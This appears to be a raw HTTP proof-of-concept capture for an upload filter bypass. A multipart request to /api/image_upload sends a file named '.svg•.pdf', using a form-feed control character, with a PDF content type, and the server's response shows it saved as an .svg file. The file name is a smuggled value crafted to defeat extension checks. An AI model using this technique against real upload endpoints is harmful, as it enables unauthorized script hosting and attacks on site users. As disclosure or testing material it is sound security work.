// http://www.fileformat.info/info/unicode/char/000C/index.htm
POST /api/image_upload HTTP/1.1
Host: X
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:69.0) Gecko/20100101 Firefox/69.0
Accept: */*
Accept-Language: pl,en-US;q=0.7,en;q=0.3
Accept-Encoding: gzip, deflate
X-Requested-With: XMLHttpRequest
Content-Type: multipart/form-data; boundary=---------------------------91652467232091688581205088441
Content-Length: 631
Connection: close
-----------------------------91652467232091688581205088441
Content-Disposition: form-data; name="file"; filename=".svg•.pdf"
Content-Type: application/pdf
xxx
-----------------------------91652467232091688581205088441--
HTTP/1.1 200 OK
Date: Fri, 03 Jul 2020 08:09:26 GMT
Server: Apache/2
Upgrade: h2,h2c
Connection: Upgrade, close
Vary: Accept-Encoding,User-Agent
Content-Length: 21
Content-Type: text/html
1593763766-94292_.svg
